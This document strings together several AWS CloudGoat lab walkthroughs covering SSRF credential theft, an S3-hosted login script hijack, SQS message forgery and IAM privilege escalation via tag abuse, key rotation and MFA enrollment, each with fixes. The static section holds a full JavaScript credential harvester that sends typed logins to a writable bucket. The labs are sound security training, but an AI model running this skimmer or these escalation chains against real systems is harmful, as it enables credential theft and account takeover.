$ aws s3 ls --profile solus-02
2026-08-24 12:25:05 cg-secret-s3-bucket-cgid6qq24avi7d
<SNIP>

$ aws s3 ls s3://cg-secret-s3-bucket-cgid6qq24avi7d/aws/ --profile solus-02
2026-08-24 12:25:11        135 credentials

$ aws s3 cp s3://cg-secret-s3-bucket-cgid6qq24avi7d/aws/credentials . --profile solus-02
download: s3://cg-secret-s3-bucket-cgid6qq24avi7d/aws/credentials to ./credentials

$ cat credentials
[default]
aws_access_key_id = AKIAUWJPWY7O5ZRSVOTO
aws_secret_access_key = <REDACTED>
region = us-east-1

A credentials file sitting in a bucket, which is our third set of keys.

Invoking the lambda function

Configure them and see who we've landed as.

$ aws sts get-caller-identity --profile solus-03
{
    "UserId": "AIDAUWJPWY7OWE72XQSZW",
    "Account": "<ACCOUNT_ID>",
    "Arn": "arn:aws:iam::<ACCOUNT_ID>:user/shepard-cgid6qq24avi7d"
}

Shepard, the identity that's allowed to invoke the Lambda from the very first step.

$ aws lambda invoke --function-name cg-lambda-cgid6qq24avi7d win.txt --profile solus-03
{
    "StatusCode": 200,
    "ExecutedVersion": "$LATEST"
}

$ cat win.txt
"You win!"

Fixing it

No single change stops this, because the compromise is a chain. Each link is its own fix, and breaking any one of them stops the hop that follows.

• Keep long-lived keys out of Lambda environment variables. Anyone with lambda:GetFunction reads them in plaintext. Store secrets in Secrets Manager or SSM Parameter Store and pull them at runtime, or better, give the function its own execution role instead of embedding another user's keys.

• Enforce IMDSv2 on the instance. Setting HttpTokens to required makes the metadata service demand a session token obtained with a PUT, which a simple SSRF GET can't perform. This one change alone breaks the credential theft even if the SSRF stays. Dropping HttpPutResponseHopLimit to 1 helps too.

• Fix the SSRF. The demo app fetches arbitrary URLs with no validation. It should reject requests to link-local and private ranges (169.254.169.254, 10/8, 127/8) and allowlist the destinations it actually needs.

• Don't store credential files in S3. The aws/credentials object is plaintext keys at rest. Scope the EC2 role to only the buckets and actions it genuinely needs, and keep secrets out of object storage entirely.

• Alert on the tell-tale events. Metadata credentials used from an IP that isn't the instance's, GetFunction calls from unexpected principals, and reads of a credentials object in S3 are each worth a CloudTrail alarm.

Tear the lab down when you're finished:

$ cloudgoat destroy ec2_ssrf

Heads up: I had to patch this challenge because the login bot was returning an error. As of 08-22-2026 there's no fix upstream yet. If you're hitting the same problem, you can use my patched version at github.com/kohicha/cloudgoat. I've also opened a pull request against the CloudGoat repo, so it may be a while before it lands.

Summary of the path

Start with a URL and no credentials -> Read the page source and find an S3-hosted script -> List the bucket unauthenticated -> Confirm public write with a throwaway file -> Overwrite auth-module.js with a credential harvester -> Wait for the bot to log in -> Read the captured credentials out of the same bucket

Every command in this lab runs with --no-sign-request, meaning we never authenticate to AWS at all. There's no IAM chain here, no role to assume. The whole thing comes down to one bucket being writable when it shouldn't be.

Setting up

This scenario hands us a URL and nothing else.

$ cloudgoat create static
<SNIP>
Website_In_Scope_START_HERE = http://<TARGET_IP>

Initial recon

An employee login page. Nothing to work with in the UI, so we read the source.

<head>
    <meta charset="UTF-8">
    <title>Hacksmarter Portal | Employee Login</title>
    <script src="https://cg-assets-cgid4qz43ek6lj.s3.amazonaws.com/auth-module.js"></script>
<SNIP>
        <input type="text" id="username" placeholder="Username">
        <input type="password" id="password" placeholder="Password">
        <button id="login-btn">Sign In</button>

The <script> tag gives us the bucket name outright, so there's no brute forcing needed. The page loads its login JavaScript straight from an S3 bucket. Also note the element IDs, username, password, and login-btn, since we'll reference them later.

S3 bucket enumeration

$ aws s3 ls s3://cg-assets-cgid4qz43ek6lj/ --no-sign-request
2026-08-21 21:56:49         52 auth-module.js
2026-08-21 21:56:49        304 logo.svg

--no-sign-request sends this as an anonymous caller, and the listing came back, so the bucket is publicly readable. Let's pull the script and see what it does.

$ aws s3 cp s3://cg-assets-cgid4qz43ek6lj/auth-module.js . --no-sign-request
download: s3://cg-assets-cgid4qz43ek6lj/auth-module.js to ./auth-module.js
 
$ cat auth-module.js
console.log('Hacksmarter Auth Module v1.2 loaded.');

One line of logging, nothing useful inside it. So the file's contents aren't the target. The real question is whether we can change them.

Confirming public write

Read and write are separate permissions on an S3 bucket, so being able to list it doesn't mean we can upload to it. Let's test that with a throwaway file before touching anything the app depends on.

$ echo "kohicha was here" > file.txt
 
$ aws s3 cp file.txt s3://cg-assets-cgid4qz43ek6lj/ --no-sign-request
upload: ./file.txt to s3://cg-assets-cgid4qz43ek6lj/file.txt
 
$ aws s3 ls s3://cg-assets-cgid4qz43ek6lj/ --no-sign-request
2026-08-21 21:56:49         52 auth-module.js
2026-08-21 22:07:50         17 file.txt
2026-08-21 21:56:49        304 logo.svg

The upload went through. An anonymous caller can write files to a bucket that the login page pulls JavaScript from.

That's the whole scenario in one line. Since we can overwrite auth-module.js, and the login page runs whatever that file contains in every visitor's browser, we can swap it for a script that grabs credentials as they're typed.

Setting up the harvester

The script hooks the sign-in button, reads both input fields, and sends them off.

document.addEventListener('DOMContentLoaded', () => {
    const loginBtn = document.getElementById('login-btn');
 
    loginBtn.addEventListener('click', async () => {
        const usernameInput = document.getElementById('username').value;
        const passwordInput = document.getElementById('password').value;
 
        if (!usernameInput || !passwordInput) {
            alert('Please enter both a username and a password.');
            return;
        }
 
        const loginData = {
            username: usernameInput,
            password: passwordInput,
            timestamp: new Date().toISOString()
        };
 
        const endpointUrl = 'https://cg-assets-cgid4qz43ek6lj.s3.amazonaws.com/creds.txt';
 
        try {
            const response = await fetch(endpointUrl, {
                method: 'PUT',
                headers: {
                    'Content-Type': 'application/json'
                },
                body: JSON.stringify(loginData),
                keepalive: true
            });
 
            if (response.ok) {
                console.log('Successfully uploaded!');
                alert('Data saved successfully.');
            } else {
                console.error('Upload failed. Status:', response.status);
                alert('Upload failed. Check console for details.');
            }
 
        } catch (error) {
            console.error('Network error:', error);
            alert('An error occurred while connecting to the endpoint.');
        }
    });
});

The trick worth pointing out is where it sends the stolen data: back to the same bucket, as creds.txt. Since the bucket allows anonymous writes, the victim's browser can upload the credentials straight into it, and we read them out later with the same anonymous aws s3 cp we've been using the whole time. No separate server to stand up.

Now overwrite the real file.

$ aws s3 cp auth-module.js s3://cg-assets-cgid4qz43ek6lj/auth-module.js --no-sign-request
upload: ./auth-module.js to s3://cg-assets-cgid4qz43ek6lj/auth-module.js

Load the page to confirm the new module is being served.

Now we wait. The scenario runs an automated administrator bot that logs into the portal every minute or two, and that bot is the target. Its credentials are the flag.

Collecting the credentials

$ aws s3 ls s3://cg-assets-cgid4qz43ek6lj/ --no-sign-request
2026-08-22 16:31:07       1517 auth-module.js
2026-08-22 16:31:53         91 creds.txt
2026-08-22 15:50:46        304 logo.svg

creds.txt showed up, so the bot logged in and our script fired.

$ aws s3 cp s3://cg-assets-cgid4qz43ek6lj/creds.txt . --no-sign-request
download: s3://cg-assets-cgid4qz43ek6lj/creds.txt to ./creds.txt
 
$ cat creds.txt
{"username":"tyler","password":"H@cKallth3th!ngs!3","timestamp":"2026-08-22T08:33:04.802Z"}

H@cKallth3th!ngs!3

Fixing it

The application was never vulnerable. Everything here comes down to how the asset bucket is configured and how the page loads from it.

• Remove public write. An assets bucket needs anonymous GetObject and nothing else. Turn on S3 Block Public Access at the account level, then grant read through a bucket policy scoped to s3:GetObject, and keep PutObject restricted to the deployment role.

• Add Subresource Integrity to the script tag. <script src="..." integrity="sha384-..." crossorigin="anonymous"> makes the browser verify the file's hash before executing it, so a modified auth-module.js simply doesn't run. This one control breaks the attack even if the bucket stays writable.

• Serve assets through CloudFront with Origin Access Control, so the bucket isn't reachable directly at all and the origin is private.

• Lock down CORS. There's no reason for this bucket to accept cross-origin writes from anywhere.

• Enable S3 access logging or CloudTrail data events on the bucket, and alert on any PutObject where the caller is anonymous or isn't the deployment role. An unauthenticated write to a production assets bucket has no legitimate explanation. Tear the lab down when you're finished:

$ cloudgoat destroy static

Summary of the path
Start as cg-sqs-user with a web app -> Read our inline policy and find an assumable role -> Enumerate the role's SQS permissions and the Lambda consumer -> Assume the send-message role -> Read the app's exposed source and learn the message schema -> Write to the queue directly, skipping the app -> Buy the flag

There's no IAM privilege escalation here. The role we assume is one we're explicitly allowed to assume, and it grants exactly what it says it grants. The flaw is architectural: the app validates the charge amount at the HTTP endpoint, but the queue behind it is a second way in, and whatever consumes that queue believes every message it reads.

Setting up

$ cloudgoat create sqs_flag_shop
<SNIP>
cg-sqs-user access key: AKIA<SNIP>
cg-sqs-user secret key: <REDACTED>
Target web app: http://<TARGET_IP>:5000/
 
$ aws configure --profile sqsuser

Initial recon

The scenario gives us a shop running on port 5000.

http://<TARGET_IP>:5000/

Who we are

$ aws sts get-caller-identity --profile sqsuser
{
    "UserId": "AIDAUWJPWY7OZZSLIOAQY",
    "Account": "322759477213",
    "Arn": "arn:aws:iam::322759477213:user/cg-sqs-user-cgidga3ktobers"
}

Our policy

$ aws iam list-user-policies --user-name cg-sqs-user-cgidga3ktobers --profile sqsuser
{
    "PolicyNames": [
        "cg-sqs-scenario-assumed-role"
    ]
}
 
$ aws iam get-user-policy --policy-name cg-sqs-scenario-assumed-role --user-name cg-sqs-user-cgidga3ktobers --profile sqsuser
<SNIP>
            {
                "Action": [ "iam:Get*", "iam:List*" ],
                "Effect": "Allow",
                "Resource": "*"
            },
            {
                "Action": "sts:AssumeRole",
                "Effect": "Allow",
                "Resource": "arn:aws:iam::322759477213:role/cg-sqs-send-message-cgidga3ktobers"
            }

The policy name tells us where we're going, and the IAM read access means we can find out what the role does before we assume it. That's the right order: read first, so you know what you're stepping into.

Roles

$ aws iam list-roles --profile sqsuser
<SNIP>
        {
            "RoleName": "cg-sqs-lambda-cgidga3ktobers",
            "AssumeRolePolicyDocument": {
                "Statement": [
                    {
                        "Effect": "Allow",
                        "Principal": { "Service": "lambda.amazonaws.com" },
                        "Action": "sts:AssumeRole"
                    }
                ]
            }
        },
        {
            "RoleName": "cg-sqs-send-message-cgidga3ktobers",
            "AssumeRolePolicyDocument": {
                "Statement": [
                    {
                        "Effect": "Allow",
                        "Principal": { "AWS": "arn:aws:iam::322759477213:user/cg-sqs-user-cgidga3ktobers" },
                        "Action": "sts:AssumeRole"
                    }
                ]
            }
        }

Two non-service roles, and together they describe both ends of a pipeline. One is assumable by us, the other by Lambda.

$ aws iam get-role-policy --role-name cg-sqs-send-message-cgidga3ktobers --policy-name cg-sqs --profile sqsuser
<SNIP>
            {
                "Action": [
                    "sqs:GetQueueUrl",
                    "sqs:SendMessage"
                ],
                "Effect": "Allow",
                "Resource": "arn:aws:sqs:us-east-1:322759477213:cash_charging_queue"
            }

Producer side. We can write to a queue called cash_charging_queue, and the resource ARN hands us the queue name for free.

$ aws iam list-attached-role-policies --role-name cg-sqs-lambda-cgidga3ktobers --profile sqsuser
<SNIP>
    "PolicyName": "AWSLambdaSQSQueueExecutionRole",
    "PolicyName": "AWSLambdaVPCAccessExecutionRole",
 
$ aws iam get-policy-version --policy-arn arn:aws:iam::aws:policy/service-role/AWSLambdaSQSQueueExecutionRole --version-id v1 --profile sqsuser
<SNIP>
                    "Action": [
                        "sqs:ReceiveMessage",
                        "sqs:DeleteMessage",
                        "sqs:GetQueueAttributes",
                        <SNIP>
                    ],

Consumer side. A Lambda reads messages off the queue and deletes them. Nothing in either policy says the consumer checks who sent the message, or what's in it.

Assuming the role

$ aws sts assume-role --role-arn arn:aws:iam::<ACCOUNT_ID>:role/cg-sqs-send-message-cgidga3ktobers --role-session-name assume-sqs --profile sqsuser
{
    "Credentials": {
        "AccessKeyId": "ASIAUWJPWY7O7JCHFFDT",
        "SecretAccessKey": "<REDACTED>",
        "SessionToken": "<REDACTED>",
        "Expiration": "2026-08-20T12:52:23+00:00"
    },
    "AssumedRoleUser": {
        "Arn": "arn:aws:sts::322759477213:assumed-role/cg-sqs-send-message-cgidga3ktobers/assume-sqs"
    }
}

These are temporary credentials, so the profile needs the session token too.

$ aws configure --profile assumed-sqs
<SNIP>
AWS Session Token [None]: <REDACTED>
 
$ aws sts get-caller-identity --profile assumed-sqs
{
    "UserId": "AROAUWJPWY7O36L2W476J:assume-sqs",
    "Account": "322759477213",
    "Arn": "arn:aws:sts::322759477213:assumed-role/cg-sqs-send-message-cgidga3ktobers/assume-sqs"
}

Understanding the app

On the main site there's a cash charging feature.

Whenever we click any of the charge cash buttons, say charge cash : 10, it adds 10 to our balance.

Our new balance is 2511.

The flag costs far more than we can reach 10 at a time, so the question is whether we can charge an arbitrary amount. Conveniently, the back-end source for this route is sitting in the page's HTML comments.

<!-- The back-end source code for quick reference! I'm sure it's totally secure! -->
<!-- @app.route('/charge_cash/<cash>', methods=['POST']) -->
<!-- def charge_cash(cash): -->
<!--     cash = int(cash) -->
<!--     if cash==1 or cash==5 or cash==10: -->
<!--         msg = {"charge_amount" : cash} -->
<!--         message_body = json.dumps(msg) -->
<!--         response = sqs.sqs_client.send_message(QueueUrl=sqs.sqs_queue_url, MessageBody=message_body) -->
<!--         time.sleep(10) -->
<!--         return redirect(url_for('index')) -->
<!--     else: -->
<!--         return "BAD Request!!" -->

The endpoint itself is fine. It only accepts 1, 5, or 10, so posting /charge_cash/100000000 returns BAD Request!! and no message ever gets written. Attacking the HTTP route goes nowhere.

What the code actually tells us is the shape of the message: {"charge_amount": <int>}, dropped onto the queue, and something downstream credits the balance from it. The validation lives in the producer. The consumer takes the number at face value.

We already hold credentials for that queue, so we don't need the web app at all. It's one of two producers now, and the other one has no rules.

Worth noting that the exposed source is its own finding. It hands us the message schema and the queue's purpose in one go. Without it we'd be guessing at JSON key names, which is slower but not impossible, so the comment is a shortcut rather than the vulnerability.

Charging an arbitrary amount

$ aws sqs get-queue-url --queue-name cash_charging_queue --profile assumed-sqs
{
    "QueueUrl": "https://sqs.us-east-1.amazonaws.com/322759477213/cash_charging_queue"
}

The queue name came from the resource ARN in the cg-sqs role policy, so no guessing was needed.

$ aws sqs send-message --queue-url https://sqs.us-east-1.amazonaws.com/322759477213/cash_charging_queue --message-body '{ "charge_amount" : 100000000}' --profile assumed-sqs
{
    "MD5OfMessageBody": "4190ad380acf8efb1d9ddd854a017af6",
    "MessageId": "9d943439-5316-4db2-8241-5582b41faf78"
}

Give the Lambda a moment to pick it up, then refresh the site.

The balance went through, so the consumer never questioned the amount or where the message came from. Now we can buy the flag.

FLAG{sqs-shop-super-secret-item}

Fixing it

The queue is a trust boundary, and the app treats it as an internal channel that only it can write to.

• Validate in the consumer, not just the producer. The Lambda is the component that mutates the balance, so it's the component that has to reject a charge of 100000000. Re-check the amount against the allowed values there.

• Don't hand out sqs:SendMessage to a principal that shouldn't be able to move money. If a human user can assume a role that writes to the charging queue, that user can charge anything, whatever the web tier says.

• Strip the source code out of the HTML. Debug comments in production responses give away internal schemas and infrastructure for free.

• Alert on SendMessage to cash_charging_queue where the caller is anything other than the web application's role, and on messages whose charge_amount falls outside the allowed set. Tear the lab down when you're finished:

$ cloudgoat destroy sqs_flag_shop

Summary of the pathStart as manager user -> Enumerate users, roles, and policies -> Find SelfManageAccess gated on a developer tag -> Find TagResources with no condition at all -> Tag the admin user as a developer -> Rotate the admin's access keys -> Enroll our own virtual MFA device on the admin -> Assume the secretsmanager role -> Read the secret

This one is all privilege escalation, no credential leak to pivot through. Everything we need is sitting in the manager's own inline policies, and the whole chain turns on one mistake: the condition that's supposed to restrict us is checked against a tag we're allowed to write.

The lab covers attribute-based access control (ABAC) and how it fails, why access key quotas matter to an attacker, and why MFA is not much of a control when the attacker can enroll the device.

Setting up

We'll spin up the lab and configure a profile with the manager's keys.

$ cloudgoat create iam_privesc_by_key_rotation
<SNIP>
cloudgoat_output_manager_access_key_id = AKIAUWJPWY7O4SHYORXN
cloudgoat_output_manager_secret_key = <REDACTED>
 
$ aws configure --profile privesc-rotation

Confirm who we are.

$ aws sts get-caller-identity --profile privesc-rotation
{
    "UserId": "AIDAUWJPWY7OXVOWAM7LS",
    "Account": "322759477213",
    "Arn": "arn:aws:iam::322759477213:user/manager_cgid3kaxm30j06"
}

Enumeration

Users

$ aws iam get-user --profile privesc-rotation
{
    "User": {
        "UserName": "manager_cgid3kaxm30j06",
        "Arn": "arn:aws:iam::322759477213:user/manager_cgid3kaxm30j06",
        "Tags": [
            { "Key": "Scenario", "Value": "iam_privesc_by_key_rotation" },
            { "Key": "Stack", "Value": "CloudGoat" }
        ]
    }
}

Note the tags on our own user. That detail comes back later.

$ aws iam list-users --profile privesc-rotation
<SNIP>
    "UserName": "admin_cgid3kaxm30j06",
    "UserName": "cloudgoat",
    "UserName": "developer_cgid3kaxm30j06",
    "UserName": "manager_cgid3kaxm30j06",

Three scenario users plus the cloudgoat provisioning account. admin_ is the obvious target, and developer_ is worth remembering.

Roles

$ aws iam list-roles --profile privesc-rotation
<SNIP>
        {
            "RoleName": "cg_secretsmanager_cgid3kaxm30j06",
            "Arn": "arn:aws:iam::322759477213:role/cg_secretsmanager_cgid3kaxm30j06",
            "AssumeRolePolicyDocument": {
                "Version": "2012-10-17",
                "Statement": [
                    {
                        "Effect": "Allow",
                        "Principal": { "AWS": "arn:aws:iam::322759477213:root" },
                        "Action": "sts:AssumeRole",
                        "Condition": {
                            "Bool": { "aws:MultiFactorAuthPresent": "true" }
                        }
                    }
                ]
            },
            "Description": "Access to view secrets"
        }

Everything else in the list is an AWS service-linked role, so this is the only one that matters. Two things stand out. The trust policy names the account root, which means any principal in the account can assume it as long as their identity policy allows sts:AssumeRole. And the condition requires MFA to be present on the calling session, so long-lived access keys alone won't get us in.

Its attached policy tells us why we want it:

$ aws iam list-attached-role-policies --role-name cg_secretsmanager_cgid3kaxm30j06 --profile privesc-rotation
<SNIP>
    "PolicyName": "cg_view_secrets_cgid3kaxm30j06",
 
$ aws iam get-policy-version --policy-arn arn:aws:iam::322759477213:policy/cg_view_secrets_cgid3kaxm30j06 --version-id v1 --profile privesc-rotation
{
    "PolicyVersion": {
        "Document": {
            "Statement": [
                {
                    "Action": "secretsmanager:ListSecrets",
                    "Effect": "Allow",
                    "Resource": "*"
                },
                {
                    "Action": "secretsmanager:GetSecretValue",
                    "Effect": "Allow",
                    "Resource": "arn:aws:secretsmanager:us-east-1:322759477213:secret:cg_secret_cgid3kaxm30j06-wsVqgL"
                }
            ]
        }
    }
}

That's the goal. The secret is only readable through this role, and the role is only reachable with MFA.

Our own permissions

Let's use Pacu to enumerate what the manager can actually do, then read the policies directly.

Pacu (privesc-rotation:imported-privesc-rotation) > run iam__enum_permissions
Pacu (privesc-rotation:imported-privesc-rotation) > data
<SNIP>
IAM: {
    "permissions": {
        "allow": [
            "iam:Get*",
            "iam:List*",
            "sts:GetCallerIdentity",
            "sts:GetSessionToken",
            <SNIP>
        ],
        "deny": [
            "iam:ListGroupPolicies"
        ]
    }
}

Pacu's list is deduplicated here. The managed policy behind most of it is IAMReadOnlyAccess:

$ aws iam get-policy-version --policy-arn arn:aws:iam::aws:policy/IAMReadOnlyAccess --version-id v4 --profile privesc-rotation
<SNIP>
    "Action": [
        "iam:GenerateCredentialReport",
        "iam:GenerateServiceLastAccessedDetails",
        "iam:Get*",
        "iam:List*",
        "iam:SimulateCustomPolicy",
        "iam:SimulatePrincipalPolicy"
    ],
    "Resource": "*"

Read-only, so nothing exploitable on its own. The interesting permissions are in the inline policies, which is why it's worth checking list-user-policies and not stopping at the attached ones.

$ aws iam list-user-policies --user-name manager_cgid3kaxm30j06 --profile privesc-rotation
{
    "PolicyNames": [
        "SelfManageAccess",
        "TagResources"
    ]
}

Finding the flaw

Here's SelfManageAccess:

$ aws iam get-user-policy --policy-name SelfManageAccess --user-name manager_cgid3kaxm30j06 --profile privesc-rotation
<SNIP>
            {
                "Action": [
                    "iam:DeactivateMFADevice",
                    "iam:GetMFADevice",
                    "iam:EnableMFADevice",
                    "iam:ResyncMFADevice",
                    "iam:DeleteAccessKey",
                    "iam:UpdateAccessKey",
                    "iam:CreateAccessKey"
                ],
                "Condition": {
                    "StringEquals": {
                        "aws:ResourceTag/developer": "true"
                    }
                },
                "Effect": "Allow",
                "Resource": [
                    "arn:aws:iam::322759477213:user/*",
                    "arn:aws:iam::322759477213:mfa/*"
                ],
                "Sid": "SelfManageAccess"
            },
            {
                "Action": [
                    "iam:DeleteVirtualMFADevice",
                    "iam:CreateVirtualMFADevice"
                ],
                "Effect": "Allow",
                "Resource": "arn:aws:iam::322759477213:mfa/*",
                "Sid": "CreateMFA"
            }

Read the Resource and the Condition together. The resource is user/*, every user in the account, and the only thing holding it back is a tag check: the target has to carry developer = true. The policy name says self-manage, but nothing in it ties the target to the caller. There's no ${aws:username} anywhere. The tag is doing all the work.

Now TagResources:

$ aws iam get-user-policy --policy-name TagResources --user-name manager_cgid3kaxm30j06 --profile privesc-rotation
<SNIP>
            {
                "Action": [
                    "iam:UntagUser",
                    "iam:UntagRole",
                    "iam:TagRole",
                    "iam:UntagMFADevice",
                    "iam:UntagPolicy",
                    "iam:TagMFADevice",
                    "iam:TagPolicy",
                    "iam:TagUser"
                ],
                "Effect": "Allow",
                "Resource": "*",
                "Sid": "TagResources"
            }

iam:TagUser on *, no condition. So we can write the exact tag that the other policy checks, on any user we like. The gate and the key are both handed to the same principal.

This is the ABAC failure mode worth remembering. Tag-based conditions only hold if the tags are immutable to the people they're restricting. The moment a principal can write the attribute that gates its own access, the condition is decoration.

Privilege escalation

Tag the admin as a developer:

$ aws iam tag-user --user-name admin_cgid3kaxm30j06 --tags '{"Key":"developer","Value":"true"}' --profile privesc-rotation

No output, no error, which means SelfManageAccess now applies to the admin user.

$ aws iam list-access-keys --user-name admin_cgid3kaxm30j06 --profile privesc-rotation
{
    "AccessKeyMetadata": [
        {
            "UserName": "admin_cgid3kaxm30j06",
            "AccessKeyId": "AKIAUWJPWY7O2TPLEMG3",
            "Status": "Inactive",
            "CreateDate": "2026-08-17T08:01:51+00:00"
        },
        {
            "UserName": "admin_cgid3kaxm30j06",
            "AccessKeyId": "AKIAUWJPWY7O6GAECA4O",
            "Status": "Inactive",
            "CreateDate": "2026-08-17T08:01:51+00:00"
        }
    ]
}

Both existing keys are inactive, and there are two of them. IAM caps users at two access keys, so create-access-key will fail until we free a slot. That's the reason this scenario is called key rotation rather than key creation. We have to delete before we create.

$ aws iam delete-access-key --access-key-id AKIAUWJPWY7O6GAECA4O --user-name admin_cgid3kaxm30j06 --profile privesc-rotation
 
$ aws iam create-access-key --user-name admin_cgid3kaxm30j06 --profile privesc-rotation
{
    "AccessKey": {
        "UserName": "admin_cgid3kaxm30j06",
        "AccessKeyId": "AKIAUWJPWY7O365QZMMQ",
        "Status": "Active",
        "SecretAccessKey": "<REDACTED>",
        "CreateDate": "2026-08-17T09:44:45+00:00"
    }
}

Both of the admin's original keys were already inactive here, so deleting one costs nothing. On a real engagement that delete is destructive and can break whatever was using the key, so it needs to be in scope and agreed before you run it.

Configure the new keys and confirm.

$ aws configure --profile admin
 
$ aws sts get-caller-identity --profile admin
{
    "UserId": "AIDAUWJPWY7OQCUFTJKVL",
    "Account": "322759477213",
    "Arn": "arn:aws:iam::322759477213:user/admin_cgid3kaxm30j06"
}

We're the admin. This maps to MITRE T1098.001, Account Manipulation: Additional Cloud Credentials.

Getting past the MFA condition

Being admin isn't enough, because the secretsmanager role wants aws:MultiFactorAuthPresent to be true and our session is a plain access key. The admin has no MFA device registered, so we'll register one of our own.

The CreateMFA statement in SelfManageAccess has no tag condition at all, so the manager can create a virtual MFA device outright:

$ aws iam create-virtual-mfa-device --virtual-mfa-device-name test --outfile code.txt --bootstrap-method Base32StringSeed --profile privesc-rotation
{
    "VirtualMFADevice": {
        "SerialNumber": "arn:aws:iam::322759477213:mfa/test"
    }
}
 
$ cat code.txt
<REDACTED BASE32 SEED>

Feed that seed into any TOTP generator to produce codes.

Then attach the device to the admin user. iam:EnableMFADevice is in the tag-gated statement, and we already tagged the admin, so it goes through. Enabling requires two consecutive codes to prove the seed is synced.

$ $ aws iam enable-mfa-device --user-name admin_cgid3kaxm30j06 --serial-number arn:aws:iam::322759477213:mfa/test --authentication-code1 827460 --authentication-code2 861266 --profile privesc-rotation

The admin account now has an MFA device that we control, which is T1556.006, Modify Authentication Process: Multi-Factor Authentication. MFA only helps if the enrollment path is protected as carefully as the login path.

Assuming the role

With a token code in hand, the trust policy's condition is satisfied.

$ aws sts assume-role --role-arn arn:aws:iam::322759477213:role/cg_secretsmanager_cgid3kaxm30j06 \
    --role-session-name privesc --profile admin \
    --token-code 032104 --serial-number arn:aws:iam::322759477213:mfa/test
{
    "Credentials": {
        "AccessKeyId": "ASIAUWJPWY7O6K3G6FKW",
        "SecretAccessKey": "<REDACTED>",
        "SessionToken": "<REDACTED>",
        "Expiration": "2026-08-17T12:36:39+00:00"
    },
    "AssumedRoleUser": {
        "Arn": "arn:aws:sts::322759477213:assumed-role/cg_secretsmanager_cgid3kaxm30j06/privesc"
    }
}

These are temporary credentials, so the profile needs the session token as well as the key pair.

$ aws configure --profile privesc-rotation-secretsmanager
<SNIP>
AWS Session Token [None]: <REDACTED>
 
$ aws sts get-caller-identity --profile privesc-rotation-secretsmanager
{
    "UserId": "AROAUWJPWY7OTWVQUNQ2H:privesc",
    "Account": "322759477213",
    "Arn": "arn:aws:sts::322759477213:assumed-role/cg_secretsmanager_cgid3kaxm30j06/privesc"
}

Reading the secret

$ aws secretsmanager list-secrets --profile privesc-rotation-secretsmanager
<SNIP>
    "Name": "cg_secret_cgid3kaxm30j06",
    "Description": "The primary secret for the iam_privesc_by_key_rotation scenario",
 
$ aws secretsmanager get-secret-value --secret-id cg_secret_cgid3kaxm30j06 --profile privesc-rotation-secretsmanager
<SNIP>
    "SecretString": "flag{14m_PERM15510N5_4Re_5C4R_24619fa09720f435778fb154d6b1aab6fc93f7af319433906862129ac8838780}",

Final Flag

flag{14m_PERM15510N5_4Re_5C4R_24619fa09720f435778fb154d6b1aab6fc93f7af319433906862129ac8838780}

Fixing it

The chain breaks at several points, and each one is a separate mistake:

• Don't grant iam:TagUser and a tag-gated permission to the same principal. If a condition depends on aws:ResourceTag/developer, then writing that tag has to be a privileged operation, restricted to a role the user can't reach.

• Scope SelfManageAccess to the caller. arn:aws:iam::<ACCOUNT_ID>:user/${aws:username} is what the policy name implies and what the resource block should have said, instead of user/* with a tag as the only guard.

• Split MFA enrollment from MFA use. iam:EnableMFADevice and iam:CreateVirtualMFADevice on other users' identities is an authentication bypass, not a helpdesk convenience.

• Alert on CloudTrail TagUser, CreateAccessKey, and EnableMFADevice where the caller doesn't match the target user. Any one of those three on its own is worth a look. All three from the same principal inside a few minutes is the whole attack. Tear the lab down when you're finished:

$ cloudgoat destroy iam_privesc_by_key_rotation

Summary of the pathEnumerate Beanstalk environment on low priv user -> Get environment existing configuration -> Find hard-coded access keys to another user -> Pivot to secondary user and read policies -> Find CreateAccessKey scoped to * -> List interesting users -> Privilege escalation via creating access keys for admin user and get flag

Two things happen here, and they're worth separating. The hard-coded keys get us lateral movement, since we move to a different identity without knowing yet whether it's more privileged than ours. The privilege escalation is the last step, where an overly broad iam:CreateAccessKey lets us mint credentials for an account we were never supposed to touch.

This lab covers the importance of enumeration, especially looking into configurations that might have exposed access keys you can use to pivot to another IAM user. It also covers how to abuse an overprivileged user, and why you should never use * wildcards in your AWS environment.

Setting up

We'll spin up the lab via cloudgoat, and get our initial low privilege access keys.

$ cloudgoat create beanstalk_secrets
<SNIP>
[cloudgoat] terraform output completed with no error code.
initial_low_priv_credentials = Access Key: AKIAUWJPWY7O5GAB6YEH
Secret Key: <REDACTED>
$ aws configure --profile beanstalk
 
AWS Access Key ID [None]: AKIAUWJPWY7O5GAB6YEH
AWS Secret Access Key [None]: <REDACTED>
Default region name [None]: us-east-1
Default output format [None]: json

That's everything we start with: one set of keys, no idea yet what they can do.

Enumeration

We'll check the available environments of this user via describe-environments.

$ aws elasticbeanstalk describe-environments --profile beanstalk

We can then use describe-configuration-settings to get further information on the environment.

Scrolling down, we can see a namespace that has hard-coded access keys.

Worth pausing on why this works at all. Environment variables set on a Beanstalk environment live under the aws:elasticbeanstalk:application:environment namespace, and Beanstalk treats them as configuration, not as secrets. There's no redaction on read. Any principal holding elasticbeanstalk:DescribeConfigurationSettings gets the values back in plaintext, so if a developer drops long-lived keys into an env var, read access to the environment config is read access to the credentials.

Pivoting to the secondary user and enumerating policies

Configure a profile for secondary_user.

Enumerating the policies for the user

$ aws iam list-attached-user-policies --user-name cgid6sd400b28h_secondary_user --profile beanstalk-01
$ aws iam get-policy --policy-arn arn:aws:iam::322759477213:policy/cgid6sd400b28h_secondary_policy --profile beanstalk-01
$ aws iam get-policy-version --policy-arn arn:aws:iam::322759477213:policy/cgid6sd400b28h_secondary_policy --version-id v1 --profile beanstalk-01

Listing the attached user policies.

Getting the specific policy.

Note that get-policy only gives us metadata. The actual permissions live in the policy document, so we need get-policy-version with the default version ID to see what the user can really do.

Here's the interesting statement attached to secondary_user:

{
    "Action": [
        "iam:CreateAccessKey"
    ],
        "Effect": "Allow",
        "Resource": "*"
}

The Resource is what makes this a finding. If the intent was to let users rotate their own keys, this should have been scoped to the caller:

"Resource": "arn:aws:iam::<ACCOUNT_ID>:user/${aws:username}"

Instead it's *, which means secondary_user can create access keys for any IAM user in the account, including users far more privileged than itself.

Listing interesting users

$ aws iam list-users --profile beanstalk-01

We find an admin_user. CloudGoat names things helpfully, so picking a target here is just reading the list. On a real account nobody is called admin_user, so you'd work through list-attached-user-policies and list-groups-for-user on each principal and look for who actually holds the wide permissions, rather than trusting the naming.

Privilege escalation

With the information we've gathered, we can use secondary_user to create access keys for admin_user, and use those to act as the admin.

$ aws iam create-access-key --user-name cgid6sd400b28h_admin_user --profile beanstalk-01

Configure a profile for the admin account, and confirm access.

Let's confirm the policies.

Accessing the flag

$ aws secretsmanager list-secrets --profile beanstalk-admin
